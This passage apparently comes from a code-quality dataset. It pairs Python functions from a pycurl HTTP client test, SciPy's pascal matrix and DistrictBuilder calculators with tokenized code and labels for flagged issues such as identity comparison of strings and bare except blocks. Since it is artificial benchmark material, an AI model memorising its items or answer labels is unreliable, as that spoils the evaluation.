"or", "\\u", "cb_", "._", "Get", "Monitor_", "(_", ")_", "._", "Get", "Lock", "Info_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "[_", "(_", "\"", "rpc", "/", "%", "s", "\"_", "%_", "(_", "\\u", "Build", "Nic", "e", "Name_", "(_", "handle_", "._", "opts_", "[_", "\"\\u\\u", "port", "\\u\\u\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "(_", "\"", "local", "host", "/", "version", "%", "s", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "handle_", "._", "opts_", "[_", "\"\\u\\u", "port", "\\u\\u\"_", "]_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "threading_", "._", "current", "Thread_", "(_", ")_", "._", "get", "Name_", "(_", ")_", "]_", ",_", "None_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "handle_", "in_", "handles_", "[_", "idx_", ":_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "sorted_", "(_", "lock", "\\u", "info_", ")_", ",_", "sorted_", "(_", "expected_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "port_", "%_", "3_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "code_", "=_", "http_", "._", "HTTP", "\\u", "OK_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "code_", "=_", "http_", "._", "Http", "Not", "Found_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "\"", "test", " ", "error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "curl_", "._", "info_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "pycurl_", "._", "RESPONSE", "\\u", "CODE_", ":_", "response", "\\u", "code_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "pycurl_", ",_", "'", "LOCAL", "\\u", "IP", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curl_", "._", "info_", "[_", "pycurl_", "._", "LOCAL", "\\u", "IP_", "]_", "=_", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "pycurl_", ",_", "'", "LOCAL", "\\u", "PORT", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curl_", "._", "info_", "[_", "pycurl_", "._", "LOCAL", "\\u", "PORT_", "]_", "=_", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Prepare", " ", "for", " ", "reset_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "curl_", "._", "opts_", "._", "pop_", "(_", "pycurl_", "._", "POST", "FIELDS_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "callable_", "(_", "curl_", "._", "opts_", "._", "pop_", "(_", "pycurl_", "._", "WRITE", "FUNCTION_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "(_", "curl_", ",_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "use", "\\u", "monitor_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "compat_", "._", "all_", "(_", "req_", "._", "lock", "check", "\\u\\u_", "for_", "req_", "in_", "requests_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "use", "\\u", "monitor_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "lock", "\\u", "monit", "or", "\\u", "cb_", "._", "Get", "Monitor_", "(_", ")_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "http_", "._", "client_", "._", "Process", "Requests_", "(_", "requests_", ",_", "lock", "\\u", "monit", "or", "\\u", "cb_", "=_", "lock", "\\u", "monit", "or", "\\u", "cb_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "curl_", "=_", "\\u", "Fake", "Curl", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "curl", "\\u", "multi_", "=_", "self_", "._", "\\u", "Du", "mm", "y", "Curl", "Multi", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "curl", "\\u", "process_", "=_", "\\u", "Process", "Requests_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "req_", "in_", "requests_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "req_", "._", "port_", "%_", "3_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "req_", "._", "success_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "req_", "._", "error_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "False_", "(_", "req_", "._", "success_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "test", " ", "error", "\"_", "in_", "req_", "._", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "if", " ", "monit", "or", " ", "was", " ", "disabled_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "use", "\\u", "monitor_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "monitor_", "=_", "lock", "\\u", "monit", "or", "\\u", "cb_", "._", "Get", "Monitor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "monitor_", "._", "\\u", "pend", "ing", "\\u", "fn_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "monitor_", "._", "Get", "Lock", "Info_", "(_", "None_", ")_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "lock", "\\u", "monit", "or", "\\u", "cb_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "requests_", ")_", ",_", "request", "s", "\\u", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Process", "Requests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Ba", "d", "Request_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bad", "\\u", "request_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "277", "84_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "POST", "\"_", ",_", "\"/", "version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad", "\\u", "request_", "._", "success_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Assert", "ion", "Error_", ",_", "http_", "._", "client_", "._", "Process", "Requests_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "bad", "\\u", "request_", "]_", ",_", "\\u", "curl_", "=_", "Not", "Implemented_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "curl", "\\u", "multi_", "=_", "Not", "Implemented_", ",_", "\\u", "curl", "\\u", "process_", "=_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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Comparison using is when operands support `__eq__`
scipy/scipy/scipy/linalg/special_matrices.py
[ { "content": "def pascal(n, kind='symmetric', exact=True):\n \"\"\"\n Returns the n x n Pascal matrix.\n\n The Pascal matrix is a matrix containing the binomial coefficients as\n its elements.\n\n Parameters\n ----------\n n : int\n The size of the matrix to create; that is, the result is an n x n\n matrix.\n kind : str, optional\n Must be one of 'symmetric', 'lower', or 'upper'.\n Default is 'symmetric'.\n exact : bool, optional\n If `exact` is True, the result is either an array of type\n numpy.uint64 (if n < 35) or an object array of Python long integers.\n If `exact` is False, the coefficients in the matrix are computed using\n `scipy.special.comb` with `exact=False`. The result will be a floating\n point array, and the values in the array will not be the exact\n coefficients, but this version is much faster than `exact=True`.\n\n Returns\n -------\n p : (n, n) ndarray\n The Pascal matrix.\n\n See Also\n --------\n invpascal\n\n Notes\n -----\n See http://en.wikipedia.org/wiki/Pascal_matrix for more information\n about Pascal matrices.\n\n .. versionadded:: 0.11.0\n\n Examples\n --------\n >>> from scipy.linalg import pascal\n >>> pascal(4)\n array([[ 1, 1, 1, 1],\n [ 1, 2, 3, 4],\n [ 1, 3, 6, 10],\n [ 1, 4, 10, 20]], dtype=uint64)\n >>> pascal(4, kind='lower')\n array([[1, 0, 0, 0],\n [1, 1, 0, 0],\n [1, 2, 1, 0],\n [1, 3, 3, 1]], dtype=uint64)\n >>> pascal(50)[-1, -1]\n 25477612258980856902730428600L\n >>> from scipy.special import comb\n >>> comb(98, 49, exact=True)\n 25477612258980856902730428600L\n\n \"\"\"\n\n from scipy.special import comb\n if kind not in ['symmetric', 'lower', 'upper']:\n raise ValueError(\"kind must be 'symmetric', 'lower', or 'upper'\")\n\n if exact:\n if n >= 35:\n L_n = np.empty((n, n), dtype=object)\n L_n.fill(0)\n else:\n L_n = np.zeros((n, n), dtype=np.uint64)\n for i in range(n):\n for j in range(i + 1):\n L_n[i, j] = comb(i, j, exact=True)\n else:\n L_n = comb(*np.ogrid[:n, :n])\n\n if kind is 'lower':\n p = L_n\n elif kind is 'upper':\n p = L_n.T\n else:\n p = np.dot(L_n, L_n.T)\n\n return p", "metadata": "root.pascal", "header": "['module', '___EOS___']", "index": 768 } ]
[ { "span": "kind is 'lower':", "start_line": 844, "start_column": 7, "end_line": 844, "end_column": 22 }, { "span": "kind is 'upper':", "start_line": 846, "start_column": 9, "end_line": 846, "end_column": 24 } ]
[]
1
false
[ "[CLS]_", "Compari", "son_", "using_", "is_", "when_", "operands_", "support_", " _", "`_", "\\u\\u", "eq\\u\\u_", "`_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pasc", "al_", "(_", "n_", ",_", "kind_", "=_", "'", "symmetric", "'_", ",_", "exact_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "n", " ", "x", " ", "n", " ", "Pas", "cal", " ", "matrix", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "Pas", "cal", " ", "matrix", " ", "is", " ", "a", " ", "matrix", " ", "contain", "ing", " ", "the", " ", "binomial", " ", "coefficient", "s", " ", "as", "\\", "10", ";", " ", " ", " ", " ", "its", " ", "element", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "n", " ", ":", " ", "int", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "size", " ", "of", " ", "the", " ", "matrix", " ", "to", " ", "create", ";", " ", "tha", "t", " ", "is", ",", " ", "the", " ", "result", " ", "is", " ", "an", " ", "n", " ", "x", " ", "n", "\\", "10", ";", " ", " ", " ", " ", "matrix", ".", "\\", "10", ";", " ", " ", " ", " ", "kind", " ", ":", " ", "str", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "Mus", "t", " ", "be", " ", "one", " ", "of", " ", "'", "symmetric", "',", " ", "'", "lower", "',", " ", "or", " ", "'", "upper", "'.", "\\", "10", ";", " ", " ", " ", " ", "Default", " ", "is", " ", "'", "symmetric", "'.", "\\", "10", ";", " ", " ", " ", " ", "exact", " ", ":", " ", "bool", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "`", "exact", "`", " ", "is", " ", "Tru", "e", ",", " ", "the", " ", "result", " ", "is", " ", "eit", "her", " ", "an", " ", "array", " ", "of", " ", "type", "\\", "10", ";", " ", " ", " ", " ", "nump", "y", ".", "uint", "64", " ", "(", "if", " ", "n", " ", "<", " ", "3", "5", ")", " ", "or", " ", "an", " ", "object", " ", "array", " ", "of", " ", "Pyth", "on", " ", "long", " ", "integ", "ers", ".", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "`", "exact", "`", " ", "is", " ", "Fal", "se", ",", " ", "the", " ", "coefficient", "s", " ", "in", " ", "the", " ", "matrix", " ", "are", " ", "compute", "d", " ", "usi", "ng", "\\", "10", ";", " ", " ", " ", " ", "`", "sci", "py", ".", "special", ".", "comb", "`", " ", "with", " ", "`", "exact", "=", "Fal", "se", "`.", " ", " ", "The", " ", "result", " ", "will", " ", "be", " ", "a", " ", "float", "ing", "\\", "10", ";", " ", " ", " ", " ", "point", " ", "array", ",", " ", "and", " ", "the", " ", "values", " ", "in", " ", "the", " ", "array", " ", "will", " ", "not", " ", "be", " ", "the", " ", "exact", "\\", "10", ";", " ", " ", " ", " ", "coefficient", "s", ",", " ", "but", " ", "this", " ", "version", " ", "is", " ", "muc", "h", " ", "faste", "r", " ", "than", " ", "`", "exact", "=", "Tru", "e", "`.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", "\\", "10", ";", " ", " ", " ", " ", "-------", "\\", "10", ";", " ", " ", " ", " ", "p", " ", ":", " ", "(", "n", ",", " ", "n", ")", " ", "ndar", "ray", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "Pas", "cal", " ", "matrix", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Al", "so", "\\", "10", ";", " ", " ", " ", " ", "--------", "\\", "10", ";", " ", " ", " ", " ", "inv", "pasc", "al", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "es", "\\", "10", ";", " ", " ", " ", " ", "-----", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "http", "://", "en", ".", "wikip", "edia", ".", "org", "/", "wiki", "/", "Pas", "cal", "\\u", "matrix", " ", "for", " ", "more", " ", "informati", "on", "\\", "10", ";", " ", " ", " ", " ", "abo", "ut", " ", "Pas", "cal", " ", "matric", "es", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "version", "adde", "d", "::", " ", "0.11", ".0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "--------", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "sci", "py", ".", "linalg", " ", "import", " ", "pasc", "al", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "pasc", "al", "(", "4", ")", "\\", "10", ";", " ", " ", " ", " ", "array", "([", "[", " ", "1", ",", " ", " ", "1", ",", " ", " ", "1", ",", " ", " ", "1", "],", "\\", "10", ";", " ", " ", " ", "[", " ", "1", ",", " ", " ", "2", ",", " ", " ", "3", ",", " ", " ", "4", "],", "\\", "10", ";", " ", " ", " ", "[", " ", "1", ",", " ", " ", "3", ",", " ", " ", "6", ",", " ", "10", "],", "\\", "10", ";", " ", " ", " ", "[", " ", "1", ",", " ", " ", "4", ",", " ", "10", ",", " ", "20", "]]", ",", " ", "dt", "ype", "=", "uint", "64", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "pasc", "al", "(", "4", ",", " ", "kind", "='", "lower", "')", "\\", "10", ";", " ", " ", " ", " ", "array", "([", "[", "1", ",", " ", "0", ",", " ", "0", ",", " ", "0", "],", "\\", "10", ";", " ", " ", " ", "[", "1", ",", " ", "1", ",", " ", "0", ",", " ", "0", "],", "\\", "10", ";", " ", " ", " ", "[", "1", ",", " ", "2", ",", " ", "1", ",", " ", "0", "],", "\\", "10", ";", " ", " ", " ", "[", "1", ",", " ", "3", ",", " ", "3", ",", " ", "1", "]]", ",", " ", "dt", "ype", "=", "uint", "64", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "pasc", "al", "(", "50", ")[", "-1", ",", " ", "-1", "]", "\\", "10", ";", " ", " ", " ", " ", "254", "776", "122", "589", "808", "569", "027", "304", "286", "00", "L", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "sci", "py", ".", "special", " ", "import", " ", "comb", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "comb", "(", "98", ",", " ", "4", "9", ",", " ", "exact", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "254", "776", "122", "589", "808", "569", "027", "304", "286", "00", "L", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "scipy_", "._", "special_", "import_", "comb_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "kind_", "not_", "in_", "[_", "'", "symmetric", "'_", ",_", "'", "lower", "'_", ",_", "'", "upper", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "kind", " ", "must", " ", "be", " ", "'", "symmetric", "',", " ", "'", "lower", "',", " ", "or", " ", "'", "upper", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "exact_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "n_", ">=_", "35_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "L", "\\u", "n_", "=_", "np_", "._", "empty_", "(_", "(_", "n_", ",_", "n_", ")_", ",_", "dtype_", "=_", "object_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "L", "\\u", "n_", "._", "fill_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "L", "\\u", "n_", "=_", "np_", "._", "zeros_", "(_", "(_", "n_", ",_", "n_", ")_", ",_", "dtype_", "=_", "np_", "._", "uint64_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "j_", "in_", "range_", "(_", "i_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "L", "\\u", "n_", "[_", "i_", ",_", "j_", "]_", "=_", "comb_", "(_", "i_", ",_", "j_", ",_", "exact_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "L", "\\u", "n_", "=_", "comb_", "(_", "*_", "np_", "._", "ogr", "id_", "[_", ":_", "n_", ",_", ":_", "n_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "kind_", "is_", "'", "lower", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "L", "\\u", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "kind_", "is_", "'", "upper", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "L", "\\u", "n_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "np_", "._", "dot_", "(_", "L", "\\u", "n_", ",_", "L", "\\u", "n_", "._", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
PublicMapping/DistrictBuilder/django/publicmapping/redistricting/calculators.py
[ { "content": " def get_value(self, argument, district=None):\n \"\"\"\n Get the value of an argument if it is a literal or a subject.\n\n This method is used anytime a calculator needs to get the value of\n a named argument. The type of the argument is determined from the \n tuple in the argument dictionary, and either the literal value or\n the retrieved ComputedCharacteristic is returned. This only searches\n for the ComputedCharacteristic in the set attached to the district.\n\n If no district is provided, no subject argument value is ever \n returned.\n\n @param argument: The name of the argument passed to the calculator.\n @param district: An optional district, used to fetch related \n ComputedCharacteristics.\n\n @return: The value of the subject or literal argument.\n \"\"\"\n try:\n (argtype, argval) = self.arg_dict[argument]\n except:\n return None\n\n value = None\n if argtype == 'literal':\n value = argval\n if isinstance(argval, dict) and 'value' in argval:\n value = Decimal(argval['value'])\n else:\n try:\n # If our literal is a number, make it a decimal to match models\n value = Decimal(value)\n except:\n # No problem, it may be a string\n pass\n elif argtype == 'subject' and not district is None:\n # This method is more fault tolerant than _set.get, since it \n # won't throw an exception if the item doesn't exist.\n add_subject = True\n if argval.startswith('-'):\n add_subject = False\n argval = argval[1:]\n cc = district.computedcharacteristic_set.filter(subject__name=argval)\n if cc.count() > 0:\n value = cc[0].number if add_subject else -cc[0].number\n return value", "metadata": "root.CalculatorBase.get_value", "header": "['class', 'CalculatorBase', '(', 'object', ')', ':', '___EOS___']", "index": 167 }, { "content": " def compute(self, **kwargs):\n \"\"\"\n Calculate the Roeck measure of compactness.\n\n @keyword district: A L{District} whose compactness should be \n computed.\n @keyword plan: A L{Plan} whose district compactnesses should be \n averaged.\n @keyword version: Optional. The version of the plan, defaults to \n the most recent version.\n \"\"\"\n random.seed()\n districts = []\n if 'district' in kwargs:\n districts = [kwargs['district']]\n if districts[0].geom.empty:\n return\n\n elif 'plan' in kwargs:\n plan = kwargs['plan']\n version = kwargs['version'] if 'version' in kwargs else plan.version\n districts = plan.get_districts_at_version(version, include_geom=True)\n\n else:\n return\n\n num = 0\n compactness = 0\n for district in districts:\n if district.district_id == 0:\n continue\n\n if district.geom.empty:\n continue\n\n # Convert the coordinates in the convex hull to a list of GEOS Points\n hull = map(lambda x: Point(x[0],x[1]), list(district.geom.convex_hull.coords[0]))\n disk = self.minidisk(hull)\n\n cir_area = pi * disk.r * disk.r\n\n compactness += district.geom.area / cir_area\n num += 1\n\n try:\n self.result = { 'value': compactness / num if num > 0 else 0 }\n except:\n self.result = { 'value': _('n/a') }", "metadata": "root.Roeck.compute", "header": "['class', 'Roeck', '(', 'CalculatorBase', ')', ':', '___EOS___']", "index": 302 }, { "content": " def compute(self, **kwargs):\n \"\"\"\n Calculate a percentage.\n\n @keyword district: A L{District} whose percentage should be \n calculated.\n @keyword plan: A L{Plan} whose set of districts should be \n calculated.\n @keyword version: Optional. The version of the plan, defaults to \n the most recent version.\n \"\"\"\n district = None\n\n if 'district' in kwargs:\n district = kwargs['district']\n\n num = self.get_value('numerator',district)\n den = self.get_value('denominator',district)\n\n elif 'plan' in kwargs:\n plan = 